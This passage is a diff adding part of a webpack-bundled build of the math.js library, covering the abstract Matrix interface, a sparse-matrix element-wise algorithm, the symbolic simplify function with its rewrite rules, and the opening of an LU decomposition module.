}); + return fraction; +} + +exports.name = 'fraction'; +exports.factory = factory; + +/***/ }), +/* 84 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var string = util.string; +var isString = string.isString; + +function factory(type, config, load, typed) { + /** + * @constructor Matrix + * + * A Matrix is a wrapper around an Array. A matrix can hold a multi dimensional + * array. A matrix can be constructed as: + * + * let matrix = math.matrix(data) + * + * Matrix contains the functions to resize, get and set values, get the size, + * clone the matrix and to convert the matrix to a vector, array, or scalar. + * Furthermore, one can iterate over the matrix using map and forEach. + * The internal Array of the Matrix can be accessed using the function valueOf. + * + * Example usage: + * + * let matrix = math.matrix([[1, 2], [3, 4]]) + * matix.size() // [2, 2] + * matrix.resize([3, 2], 5) + * matrix.valueOf() // [[1, 2], [3, 4], [5, 5]] + * matrix.subset([1,2]) // 3 (indexes are zero-based) + * + */ + function Matrix() { + if (!(this instanceof Matrix)) { + throw new SyntaxError('Constructor must be called with the new operator'); + } + } + /** + * Attach type information + */ + + + Matrix.prototype.type = 'Matrix'; + Matrix.prototype.isMatrix = true; + /** + * Get the Matrix storage constructor for the given format. + * + * @param {string} format The Matrix storage format. + * + * @return {Function} The Matrix storage constructor. + */ + + Matrix.storage = function (format) { + // check storage format is a string + if (!isString(format)) { + throw new TypeError('format must be a string value'); + } // get storage format constructor + + + var constructor = Matrix._storage[format]; + + if (!constructor) { + throw new SyntaxError('Unsupported matrix storage format: ' + format); + } // return storage constructor + + + return constructor; + }; // a map with all constructors for all storage types + + + Matrix._storage = {}; + /** + * Get the storage format used by the matrix. + * + * Usage: + * const format = matrix.storage() // retrieve storage format + * + * @return {string} The storage format. + */ + + Matrix.prototype.storage = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke storage on a Matrix interface'); + }; + /** + * Get the datatype of the data stored in the matrix. + * + * Usage: + * const format = matrix.datatype() // retrieve matrix datatype + * + * @return {string} The datatype. + */ + + + Matrix.prototype.datatype = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke datatype on a Matrix interface'); + }; + /** + * Create a new Matrix With the type of the current matrix instance + * @param {Array | Object} data + * @param {string} [datatype] + */ + + + Matrix.prototype.create = function (data, datatype) { + throw new Error('Cannot invoke create on a Matrix interface'); + }; + /** + * Get a subset of the matrix, or replace a subset of the matrix. + * + * Usage: + * const subset = matrix.subset(index) // retrieve subset + * const value = matrix.subset(index, replacement) // replace subset + * + * @param {Index} index + * @param {Array | Matrix | *} [replacement] + * @param {*} [defaultValue=0] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be filled with zeros. + */ + + + Matrix.prototype.subset = function (index, replacement, defaultValue) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke subset on a Matrix interface'); + }; + /** + * Get a single element from the matrix. + * @param {number[]} index Zero-based index + * @return {*} value + */ + + + Matrix.prototype.get = function (index) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke get on a Matrix interface'); + }; + /** + * Replace a single element in the matrix. + * @param {number[]} index Zero-based index + * @param {*} value + * @param {*} [defaultValue] Default value, filled in on new entries when + * the matrix is resized. If not provided, + * new matrix elements will be left undefined. + * @return {Matrix} self + */ + + + Matrix.prototype.set = function (index, value, defaultValue) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke set on a Matrix interface'); + }; + /** + * Resize the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (resize in place). + * + * @param {number[]} size The new size the matrix should have. + * @param {*} [defaultValue=0] Default value, filled in on new entries. + * If not provided, the matrix elements will + * be filled with zeros. + * @param {boolean} [copy] Return a resized copy of the matrix + * + * @return {Matrix} The resized matrix + */ + + + Matrix.prototype.resize = function (size, defaultValue) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke resize on a Matrix interface'); + }; + /** + * Reshape the matrix to the given size. Returns a copy of the matrix when + * `copy=true`, otherwise return the matrix itself (reshape in place). + * + * @param {number[]} size The new size the matrix should have. + * @param {boolean} [copy] Return a reshaped copy of the matrix + * + * @return {Matrix} The reshaped matrix + */ + + + Matrix.prototype.reshape = function (size, defaultValue) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke reshape on a Matrix interface'); + }; + /** + * Create a clone of the matrix + * @return {Matrix} clone + */ + + + Matrix.prototype.clone = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke clone on a Matrix interface'); + }; + /** + * Retrieve the size of the matrix. + * @returns {number[]} size + */ + + + Matrix.prototype.size = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke size on a Matrix interface'); + }; + /** + * Create a new matrix with the results of the callback function executed on + * each entry of the matrix. + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + * @param {boolean} [skipZeros] Invoke callback function for non-zero values only. + * + * @return {Matrix} matrix + */ + + + Matrix.prototype.map = function (callback, skipZeros) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke map on a Matrix interface'); + }; + /** + * Execute a callback function on each entry of the matrix. + * @param {Function} callback The callback function is invoked with three + * parameters: the value of the element, the index + * of the element, and the Matrix being traversed. + */ + + + Matrix.prototype.forEach = function (callback) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke forEach on a Matrix interface'); + }; + /** + * Create an Array with a copy of the data of the Matrix + * @returns {Array} array + */ + + + Matrix.prototype.toArray = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke toArray on a Matrix interface'); + }; + /** + * Get the primitive value of the Matrix: a multidimensional array + * @returns {Array} array + */ + + + Matrix.prototype.valueOf = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke valueOf on a Matrix interface'); + }; + /** + * Get a string representation of the matrix, with optional formatting options. + * @param {Object | number | Function} [options] Formatting options. See + * lib/utils/number:format for a + * description of the available + * options. + * @returns {string} str + */ + + + Matrix.prototype.format = function (options) { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke format on a Matrix interface'); + }; + /** + * Get a string representation of the matrix + * @returns {string} str + */ + + + Matrix.prototype.toString = function () { + // must be implemented by each of the Matrix implementations + throw new Error('Cannot invoke toString on a Matrix interface'); + }; // exports + + + return Matrix; +} + +exports.name = 'Matrix'; +exports.path = 'type'; +exports.factory = factory; + +/***/ }), +/* 85 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix A and SparseMatrix B nonzero items and invokes the callback function f(Aij, Bij). + * Callback function invoked MAX(NNZA, NNZB) times + * + * + * ┌ f(Aij, Bij) ; A(i,j) !== 0 && B(i,j) !== 0 + * C(i,j) = ┤ A(i,j) ; A(i,j) !== 0 + * └ B(i,j) ; B(i,j) !== 0 + * + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm04 = function algorithm04(a, b, callback) { + // sparse matrix arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = avalues && bvalues ? [] : undefined; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // workspace + + var xa = avalues && bvalues ? [] : undefined; + var xb = avalues && bvalues ? [] : undefined; // marks indicating we have a value in x for a given column + + var wa = []; + var wb = []; // vars + + var i, j, k, k0, k1; // loop columns + + for (j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // columns mark + + var mark = j + 1; // loop A(:,j) + + for (k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + i = aindex[k]; // update c + + cindex.push(i); // update workspace + + wa[i] = mark; // check we need to process values + + if (xa) { + xa[i] = avalues[k]; + } + } // loop B(:,j) + + + for (k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + i = bindex[k]; // check row exists in A + + if (wa[i] === mark) { + // update record in xa @ i + if (xa) { + // invoke callback + var v = cf(xa[i], bvalues[k]); // check for zero + + if (!eq(v, zero)) { + // update workspace + xa[i] = v; + } else { + // remove mark (index will be removed later) + wa[i] = null; + } + } + } else { + // update c + cindex.push(i); // update workspace + + wb[i] = mark; // check we need to process values + + if (xb) { + xb[i] = bvalues[k]; + } + } + } // check we need to process values (non pattern matrix) + + + if (xa && xb) { + // initialize first index in j + k = cptr[j]; // loop index in j + + while (k < cindex.length) { + // row + i = cindex[k]; // check workspace has value @ i + + if (wa[i] === mark) { + // push value (Aij != 0 || (Aij != 0 && Bij != 0)) + cvalues[k] = xa[i]; // increment pointer + + k++; + } else if (wb[i] === mark) { + // push value (bij != 0) + cvalues[k] = xb[i]; // increment pointer + + k++; + } else { + // remove index @ k + cindex.splice(k, 1); + } + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm04; +} + +exports.name = 'algorithm04'; +exports.factory = factory; + +/***/ }), +/* 86 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } + +function factory(type, config, load, typed, math) { + var parse = load(__webpack_require__(44)); + var equal = load(__webpack_require__(51)); + var ConstantNode = load(__webpack_require__(58)); + var FunctionNode = load(__webpack_require__(69)); + var OperatorNode = load(__webpack_require__(59)); + var ParenthesisNode = load(__webpack_require__(68)); + var SymbolNode = load(__webpack_require__(54)); + var simplifyConstant = load(__webpack_require__(125)); + var simplifyCore = load(__webpack_require__(127)); + var resolve = load(__webpack_require__(206)); + var util = load(__webpack_require__(126)); + var isCommutative = util.isCommutative; + var isAssociative = util.isAssociative; + var flatten = util.flatten; + var unflattenr = util.unflattenr; + var unflattenl = util.unflattenl; + var createMakeNodeFunction = util.createMakeNodeFunction; + /** + * Simplify an expression tree. + * + * A list of rules are applied to an expression, repeating over the list until + * no further changes are made. + * It's possible to pass a custom set of rules to the function as second + * argument. A rule can be specified as an object, string, or function: + * + * const rules = [ + * { l: 'n1*n3 + n2*n3', r: '(n1+n2)*n3' }, + * 'n1*n3 + n2*n3 -> (n1+n2)*n3', + * function (node) { + * // ... return a new node or return the node unchanged + * return node + * } + * ] + * + * String and object rules consist of a left and right pattern. The left is + * used to match against the expression and the right determines what matches + * are replaced with. The main difference between a pattern and a normal + * expression is that variables starting with the following characters are + * interpreted as wildcards: + * + * - 'n' - matches any Node + * - 'c' - matches any ConstantNode + * - 'v' - matches any Node that is not a ConstantNode + * + * The default list of rules is exposed on the function as `simplify.rules` + * and can be used as a basis to built a set of custom rules. + * + * For more details on the theory, see: + * + * - [Strategies for simplifying math expressions (Stackoverflow)](https://stackoverflow.com/questions/7540227/strategies-for-simplifying-math-expressions) + * - [Symbolic computation - Simplification (Wikipedia)](https://en.wikipedia.org/wiki/Symbolic_computation#Simplification) + * + * An optional `options` argument can be passed as last argument of `simplify`. + * There is currently one option available: `exactFractions`, a boolean which + * is `true` by default. + * + * Syntax: + * + * simplify(expr) + * simplify(expr, rules) + * simplify(expr, rules) + * simplify(expr, rules, scope) + * simplify(expr, rules, scope, options) + * simplify(expr, scope) + * simplify(expr, scope, options) + * + * Examples: + * + * math.simplify('2 * 1 * x ^ (2 - 1)') // Node "2 * x" + * math.simplify('2 * 3 * x', {x: 4}) // Node "24" + * const f = math.parse('2 * 1 * x ^ (2 - 1)') + * math.simplify(f) // Node "2 * x" + * math.simplify('0.4 * x', {}, {exactFractions: true}) // Node "x * 2 / 5" + * math.simplify('0.4 * x', {}, {exactFractions: false}) // Node "0.4 * x" + * + * See also: + * + * derivative, parse, eval, rationalize + * + * @param {Node | string} expr + * The expression to be simplified + * @param {Array<{l:string, r: string} | string | function>} [rules] + * Optional list with custom rules + * @return {Node} Returns the simplified form of `expr` + */ + + var simplify = typed('simplify', { + 'string': function string(expr) { + return simplify(parse(expr), simplify.rules, {}, {}); + }, + 'string, Object': function stringObject(expr, scope) { + return simplify(parse(expr), simplify.rules, scope, {}); + }, + 'string, Object, Object': function stringObjectObject(expr, scope, options) { + return simplify(parse(expr), simplify.rules, scope, options); + }, + 'string, Array': function stringArray(expr, rules) { + return simplify(parse(expr), rules, {}, {}); + }, + 'string, Array, Object': function stringArrayObject(expr, rules, scope) { + return simplify(parse(expr), rules, scope, {}); + }, + 'string, Array, Object, Object': function stringArrayObjectObject(expr, rules, scope, options) { + return simplify(parse(expr), rules, scope, options); + }, + 'Node, Object': function NodeObject(expr, scope) { + return simplify(expr, simplify.rules, scope, {}); + }, + 'Node, Object, Object': function NodeObjectObject(expr, scope, options) { + return simplify(expr, simplify.rules, scope, options); + }, + 'Node': function Node(expr) { + return simplify(expr, simplify.rules, {}, {}); + }, + 'Node, Array': function NodeArray(expr, rules) { + return simplify(expr, rules, {}, {}); + }, + 'Node, Array, Object': function NodeArrayObject(expr, rules, scope) { + return simplify(expr, rules, scope, {}); + }, + 'Node, Array, Object, Object': function NodeArrayObjectObject(expr, rules, scope, options) { + rules = _buildRules(rules); + var res = resolve(expr, scope); + res = removeParens(res); + var visited = {}; + var str = res.toString({ + parenthesis: 'all' + }); + + while (!visited[str]) { + visited[str] = true; + _lastsym = 0; // counter for placeholder symbols + + for (var i = 0; i < rules.length; i++) { + if (typeof rules[i] === 'function') { + res = rules[i](res, options); + } else { + flatten(res); + res = applyRule(res, rules[i]); + } + + unflattenl(res); // using left-heavy binary tree here since custom rule functions may expect it + } + + str = res.toString({ + parenthesis: 'all' + }); + } + + return res; + } + }); + simplify.simplifyCore = simplifyCore; + simplify.resolve = resolve; + + function removeParens(node) { + return node.transform(function (node, path, parent) { + return type.isParenthesisNode(node) ? node.content : node; + }); + } // All constants that are allowed in rules + + + var SUPPORTED_CONSTANTS = { + "true": true, + "false": true, + e: true, + i: true, + Infinity: true, + LN2: true, + LN10: true, + LOG2E: true, + LOG10E: true, + NaN: true, + phi: true, + pi: true, + SQRT1_2: true, + SQRT2: true, + tau: true // null: false, + // undefined: false, + // version: false, + // Array of strings, used to build the ruleSet. + // Each l (left side) and r (right side) are parsed by + // the expression parser into a node tree. + // Left hand sides are matched to subtrees within the + // expression to be parsed and replaced with the right + // hand side. + // TODO: Add support for constraints on constants (either in the form of a '=' expression or a callback [callback allows things like comparing symbols alphabetically]) + // To evaluate lhs constants for rhs constants, use: { l: 'c1+c2', r: 'c3', evaluate: 'c3 = c1 + c2' }. Multiple assignments are separated by ';' in block format. + // It is possible to get into an infinite loop with conflicting rules + + }; + simplify.rules = [simplifyCore, // { l: 'n+0', r: 'n' }, // simplifyCore + // { l: 'n^0', r: '1' }, // simplifyCore + // { l: '0*n', r: '0' }, // simplifyCore + // { l: 'n/n', r: '1'}, // simplifyCore + // { l: 'n^1', r: 'n' }, // simplifyCore + // { l: '+n1', r:'n1' }, // simplifyCore + // { l: 'n--n1', r:'n+n1' }, // simplifyCore + { + l: 'log(e)', + r: '1' + }, // temporary rules + { + l: 'n-n1', + r: 'n+-n1' + }, // temporarily replace 'subtract' so we can further flatten the 'add' operator + { + l: '-(c*v)', + r: '(-c) * v' + }, // make non-constant terms positive + { + l: '-v', + r: '(-1) * v' + }, { + l: 'n/n1^n2', + r: 'n*n1^-n2' + }, // temporarily replace 'divide' so we can further flatten the 'multiply' operator + { + l: 'n/n1', + r: 'n*n1^-1' + }, // expand nested exponentiation + { + l: '(n ^ n1) ^ n2', + r: 'n ^ (n1 * n2)' + }, // collect like factors + { + l: 'n*n', + r: 'n^2' + }, { + l: 'n * n^n1', + r: 'n^(n1+1)' + }, { + l: 'n^n1 * n^n2', + r: 'n^(n1+n2)' + }, // collect like terms + { + l: 'n+n', + r: '2*n' + }, { + l: 'n+-n', + r: '0' + }, { + l: 'n1*n2 + n2', + r: '(n1+1)*n2' + }, { + l: 'n1*n3 + n2*n3', + r: '(n1+n2)*n3' + }, // remove parenthesis in the case of negating a quantitiy + { + l: 'n1 + -1 * (n2 + n3)', + r: 'n1 + -1 * n2 + -1 * n3' + }, simplifyConstant, { + l: '(-n)*n1', + r: '-(n*n1)' + }, // make factors positive (and undo 'make non-constant terms positive') + // ordering of constants + { + l: 'c+v', + r: 'v+c', + context: { + 'add': { + commutative: false + } + } + }, { + l: 'v*c', + r: 'c*v', + context: { + 'multiply': { + commutative: false + } + } + }, // undo temporary rules + // { l: '(-1) * n', r: '-n' }, // #811 added test which proved this is redundant + { + l: 'n+-n1', + r: 'n-n1' + }, // undo replace 'subtract' + { + l: 'n*(n1^-1)', + r: 'n/n1' + }, // undo replace 'divide' + { + l: 'n*n1^-n2', + r: 'n/n1^n2' + }, { + l: 'n1^-1', + r: '1/n1' + }, { + l: 'n*(n1/n2)', + r: '(n*n1)/n2' + }, // '*' before '/' + { + l: 'n-(n1+n2)', + r: 'n-n1-n2' + }, // '-' before '+' + // { l: '(n1/n2)/n3', r: 'n1/(n2*n3)' }, + // { l: '(n*n1)/(n*n2)', r: 'n1/n2' }, + { + l: '1*n', + r: 'n' // this pattern can be produced by simplifyConstant + + }]; + /** + * Parse the string array of rules into nodes + * + * Example syntax for rules: + * + * Position constants to the left in a product: + * { l: 'n1 * c1', r: 'c1 * n1' } + * n1 is any Node, and c1 is a ConstantNode. + * + * Apply difference of squares formula: + * { l: '(n1 - n2) * (n1 + n2)', r: 'n1^2 - n2^2' } + * n1, n2 mean any Node. + * + * Short hand notation: + * 'n1 * c1 -> c1 * n1' + */ + + function _buildRules(rules) { + // Array of rules to be used to simplify expressions + var ruleSet = []; + + for (var i = 0; i < rules.length; i++) { + var rule = rules[i]; + var newRule = void 0; + + var ruleType = _typeof(rule); + + switch (ruleType) { + case 'string': + var lr = rule.split('->'); + + if (lr.length === 2) { + rule = { + l: lr[0], + r: lr[1] + }; + } else { + throw SyntaxError('Could not parse rule: ' + rule); + } + + /* falls through */ + + case 'object': + newRule = { + l: removeParens(parse(rule.l)), + r: removeParens(parse(rule.r)) + }; + + if (rule.context) { + newRule.evaluate = rule.context; + } + + if (rule.evaluate) { + newRule.evaluate = parse(rule.evaluate); + } + + if (isAssociative(newRule.l)) { + var makeNode = createMakeNodeFunction(newRule.l); + + var expandsym = _getExpandPlaceholderSymbol(); + + newRule.expanded = {}; + newRule.expanded.l = makeNode([newRule.l.clone(), expandsym]); // Push the expandsym into the deepest possible branch. + // This helps to match the newRule against nodes returned from getSplits() later on. + + flatten(newRule.expanded.l); + unflattenr(newRule.expanded.l); + newRule.expanded.r = makeNode([newRule.r, expandsym]); + } + + break; + + case 'function': + newRule = rule; + break; + + default: + throw TypeError('Unsupported type of rule: ' + ruleType); + } // console.log('Adding rule: ' + rules[i]) + // console.log(newRule) + + + ruleSet.push(newRule); + } + + return ruleSet; + } + + var _lastsym = 0; + + function _getExpandPlaceholderSymbol() { + return new SymbolNode('_p' + _lastsym++); + } + /** + * Returns a simplfied form of node, or the original node if no simplification was possible. + * + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} node + * @return {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} The simplified form of `expr`, or the original node if no simplification was possible. + */ + + + var applyRule = typed('applyRule', { + 'Node, Object': function NodeObject(node, rule) { + // console.log('Entering applyRule(' + node.toString() + ')') + // Do not clone node unless we find a match + var res = node; // First replace our child nodes with their simplified versions + // If a child could not be simplified, the assignments will have + // no effect since the node is returned unchanged + + if (res instanceof OperatorNode || res instanceof FunctionNode) { + if (res.args) { + for (var i = 0; i < res.args.length; i++) { + res.args[i] = applyRule(res.args[i], rule); + } + } + } else if (res instanceof ParenthesisNode) { + if (res.content) { + res.content = applyRule(res.content, rule); + } + } // Try to match a rule against this node + + + var repl = rule.r; + + var matches = _ruleMatch(rule.l, res)[0]; // If the rule is associative operator, we can try matching it while allowing additional terms. + // This allows us to match rules like 'n+n' to the expression '(1+x)+x' or even 'x+1+x' if the operator is commutative. + + + if (!matches && rule.expanded) { + repl = rule.expanded.r; + matches = _ruleMatch(rule.expanded.l, res)[0]; + } + + if (matches) { + // const before = res.toString({parenthesis: 'all'}) + // Create a new node by cloning the rhs of the matched rule + // we keep any implicit multiplication state if relevant + var implicit = res.implicit; + res = repl.clone(); + + if (implicit && 'implicit' in repl) { + res.implicit = true; + } // Replace placeholders with their respective nodes without traversing deeper into the replaced nodes + + + var _transform = function _transform(node) { + if (node.isSymbolNode && matches.placeholders.hasOwnProperty(node.name)) { + return matches.placeholders[node.name].clone(); + } else { + return node.map(_transform); + } + }; + + res = _transform(res); // const after = res.toString({parenthesis: 'all'}) + // console.log('Simplified ' + before + ' to ' + after) + } + + return res; + } + }); + /** + * Get (binary) combinations of a flattened binary node + * e.g. +(node1, node2, node3) -> [ + * +(node1, +(node2, node3)), + * +(node2, +(node1, node3)), + * +(node3, +(node1, node2))] + * + */ + + function getSplits(node, context) { + var res = []; + var right, rightArgs; + var makeNode = createMakeNodeFunction(node); + + if (isCommutative(node, context)) { + for (var i = 0; i < node.args.length; i++) { + rightArgs = node.args.slice(0); + rightArgs.splice(i, 1); + right = rightArgs.length === 1 ? rightArgs[0] : makeNode(rightArgs); + res.push(makeNode([node.args[i], right])); + } + } else { + rightArgs = node.args.slice(1); + right = rightArgs.length === 1 ? rightArgs[0] : makeNode(rightArgs); + res.push(makeNode([node.args[0], right])); + } + + return res; + } + /** + * Returns the set union of two match-placeholders or null if there is a conflict. + */ + + + function mergeMatch(match1, match2) { + var res = { + placeholders: {} // Some matches may not have placeholders; this is OK + + }; + + if (!match1.placeholders && !match2.placeholders) { + return res; + } else if (!match1.placeholders) { + return match2; + } else if (!match2.placeholders) { + return match1; + } // Placeholders with the same key must match exactly + + + for (var key in match1.placeholders) { + res.placeholders[key] = match1.placeholders[key]; + + if (match2.placeholders.hasOwnProperty(key)) { + if (!_exactMatch(match1.placeholders[key], match2.placeholders[key])) { + return null; + } + } + } + + for (var _key in match2.placeholders) { + res.placeholders[_key] = match2.placeholders[_key]; + } + + return res; + } + /** + * Combine two lists of matches by applying mergeMatch to the cartesian product of two lists of matches. + * Each list represents matches found in one child of a node. + */ + + + function combineChildMatches(list1, list2) { + var res = []; + + if (list1.length === 0 || list2.length === 0) { + return res; + } + + var merged; + + for (var i1 = 0; i1 < list1.length; i1++) { + for (var i2 = 0; i2 < list2.length; i2++) { + merged = mergeMatch(list1[i1], list2[i2]); + + if (merged) { + res.push(merged); + } + } + } + + return res; + } + /** + * Combine multiple lists of matches by applying mergeMatch to the cartesian product of two lists of matches. + * Each list represents matches found in one child of a node. + * Returns a list of unique matches. + */ + + + function mergeChildMatches(childMatches) { + if (childMatches.length === 0) { + return childMatches; + } + + var sets = childMatches.reduce(combineChildMatches); + var uniqueSets = []; + var unique = {}; + + for (var i = 0; i < sets.length; i++) { + var s = JSON.stringify(sets[i]); + + if (!unique[s]) { + unique[s] = true; + uniqueSets.push(sets[i]); + } + } + + return uniqueSets; + } + /** + * Determines whether node matches rule. + * + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} rule + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} node + * @return {Object} Information about the match, if it exists. + */ + + + function _ruleMatch(rule, node, isSplit) { + // console.log('Entering _ruleMatch(' + JSON.stringify(rule) + ', ' + JSON.stringify(node) + ')') + // console.log('rule = ' + rule) + // console.log('node = ' + node) + // console.log('Entering _ruleMatch(' + rule.toString() + ', ' + node.toString() + ')') + var res = [{ + placeholders: {} + }]; + + if (rule instanceof OperatorNode && node instanceof OperatorNode || rule instanceof FunctionNode && node instanceof FunctionNode) { + // If the rule is an OperatorNode or a FunctionNode, then node must match exactly + if (rule instanceof OperatorNode) { + if (rule.op !== node.op || rule.fn !== node.fn) { + return []; + } + } else if (rule instanceof FunctionNode) { + if (rule.name !== node.name) { + return []; + } + } // rule and node match. Search the children of rule and node. + + + if (node.args.length === 1 && rule.args.length === 1 || !isAssociative(node) || isSplit) { + // Expect non-associative operators to match exactly + var childMatches = []; + + for (var i = 0; i < rule.args.length; i++) { + var childMatch = _ruleMatch(rule.args[i], node.args[i]); + + if (childMatch.length === 0) { + // Child did not match, so stop searching immediately + return []; + } // The child matched, so add the information returned from the child to our result + + + childMatches.push(childMatch); + } + + res = mergeChildMatches(childMatches); + } else if (node.args.length >= 2 && rule.args.length === 2) { + // node is flattened, rule is not + // Associative operators/functions can be split in different ways so we check if the rule matches each + // them and return their union. + var splits = getSplits(node, rule.context); + var splitMatches = []; + + for (var _i = 0; _i < splits.length; _i++) { + var matchSet = _ruleMatch(rule, splits[_i], true); // recursing at the same tree depth here + + + splitMatches = splitMatches.concat(matchSet); + } + + return splitMatches; + } else if (rule.args.length > 2) { + throw Error('Unexpected non-binary associative function: ' + rule.toString()); + } else { + // Incorrect number of arguments in rule and node, so no match + return []; + } + } else if (rule instanceof SymbolNode) { + // If the rule is a SymbolNode, then it carries a special meaning + // according to the first character of the symbol node name. + // c.* matches a ConstantNode + // n.* matches any node + if (rule.name.length === 0) { + throw new Error('Symbol in rule has 0 length...!?'); + } + + if (math.hasOwnProperty(rule.name)) { + if (!SUPPORTED_CONSTANTS[rule.name]) { + throw new Error('Built in constant: ' + rule.name + ' is not supported by simplify.'); + } // built-in constant must match exactly + + + if (rule.name !== node.name) { + return []; + } + } else if (rule.name[0] === 'n' || rule.name.substring(0, 2) === '_p') { + // rule matches _anything_, so assign this node to the rule.name placeholder + // Assign node to the rule.name placeholder. + // Our parent will check for matches among placeholders. + res[0].placeholders[rule.name] = node; + } else if (rule.name[0] === 'v') { + // rule matches any variable thing (not a ConstantNode) + if (!type.isConstantNode(node)) { + res[0].placeholders[rule.name] = node; + } else { + // Mis-match: rule was expecting something other than a ConstantNode + return []; + } + } else if (rule.name[0] === 'c') { + // rule matches any ConstantNode + if (node instanceof ConstantNode) { + res[0].placeholders[rule.name] = node; + } else { + // Mis-match: rule was expecting a ConstantNode + return []; + } + } else { + throw new Error('Invalid symbol in rule: ' + rule.name); + } + } else if (rule instanceof ConstantNode) { + // Literal constant must match exactly + if (!equal(rule.value, node.value)) { + return []; + } + } else { + // Some other node was encountered which we aren't prepared for, so no match + return []; + } // It's a match! + // console.log('_ruleMatch(' + rule.toString() + ', ' + node.toString() + ') found a match') + + + return res; + } + /** + * Determines whether p and q (and all their children nodes) are identical. + * + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} p + * @param {ConstantNode | SymbolNode | ParenthesisNode | FunctionNode | OperatorNode} q + * @return {Object} Information about the match, if it exists. + */ + + + function _exactMatch(p, q) { + if (p instanceof ConstantNode && q instanceof ConstantNode) { + if (!equal(p.value, q.value)) { + return false; + } + } else if (p instanceof SymbolNode && q instanceof SymbolNode) { + if (p.name !== q.name) { + return false; + } + } else if (p instanceof OperatorNode && q instanceof OperatorNode || p instanceof FunctionNode && q instanceof FunctionNode) { + if (p instanceof OperatorNode) { + if (p.op !== q.op || p.fn !== q.fn) { + return false; + } + } else if (p instanceof FunctionNode) { + if (p.name !== q.name) { + return false; + } + } + + if (p.args.length !== q.args.length) { + return false; + } + + for (var i = 0; i < p.args.length; i++) { + if (!_exactMatch(p.args[i], q.args[i])) { + return false; + } + } + } else { + return false; + } + + return true; + } + + return simplify; +} + +exports.math = true; +exports.name = 'simplify'; +exports.factory = factory; + +/***/ }), +/* 87 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var object = util.object; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var abs = load(__webpack_require__(25)); + var addScalar = load(__webpack_require__(17)); + var divideScalar = load(__webpack_require__(12)); + var multiplyScalar = load(__webpack_require__(21)); + var subtract = load(__webpack_require__(15)); + var larger = load(__webpack_require__(33)); + var equalScalar = load(__webpack_require__(11)); + var unaryMinus = load(__webpack_require__(39)); + var SparseMatrix = type.SparseMatrix; + var DenseMatrix = type.DenseMatrix; + var Spa = type.Spa; + /** + * Calculate the Matrix LU decomposition with partial pivoting. Matrix `A` is decomposed in two matrices (`L`, `U`) and a + * row permutation vector `p` where `A[p,:] = L * U` + * + * Syntax: + * + * math.lup(A) + * + * Example: + * + * const m = [[2, 1], [1, 4]] + * const r = math.lup(m) + * // r = { + * // L: [[1, 0], [0.5, 1]], + * // U: [[2, 1], [0, 3.5]], + * // P: [0, 1] + * // } + * + * See also: 